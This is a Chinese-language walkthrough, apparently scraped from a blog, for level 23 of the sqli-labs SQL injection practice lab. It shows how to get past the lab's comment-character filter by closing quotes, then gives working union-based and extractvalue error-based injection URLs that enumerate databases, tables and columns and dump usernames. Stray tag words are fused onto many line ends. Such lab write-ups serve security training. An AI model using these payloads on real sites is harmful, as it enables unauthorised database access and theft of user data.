Sqli-labs less 23

第二部分/page-2 Advanced injection

Less-23

Sql语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";此处主要是在获取id参数时进行了#,--注释符号的过滤。php

Solution: sql

http://127.0.0.1/sqllib/Less-23/index.php?id=-1%27union%20select%201,@@datadir,%273数据库

此处的sql语句为 spa

SELECT * FROM users WHERE id='-1' union select 1,@@datadir,'3' limit 0,1orm

Explain:此处讲解几个知识点:blog

  1. id=-1,为何要用-1,由于sql语句执行了两个select语句,第一个select为id的选择语句,第二个为咱们构造的select语句。只有一个数据能够输出,为了让咱们本身构造的数据能够正常输出,第一个select要没有结果,因此-1或者超过数据库全部数据均可以。
  2. -1' union select 1,@@datadir,'3,第一个'(单引号)闭合-1,第二个'(单引号)闭合后面的。这样将查询内容显示在username处。
  3. 此处能够报错注入,延时注入,能够利用or '1'='1进行闭合。http://127.0.0.1/sqllib/Less-23/index.php?id=1%27or%20extractvalue%281,concat%280x7e,database%28%29%29%29%20or%20%271%27=%271

    以上这条语句就是利用extractvalue()进行报错注入。 get

     

    将@@datadir修改成其余的选择内容或者是内嵌的select语句。如下用联合注入方法进行注入。 it

    •获取数据库 io

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3 table

    此处获取的数据库为security

    •查看security库数据表

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

    •查看users表的全部列

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3

    •获取内容

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3

相关文章
相关标签/搜索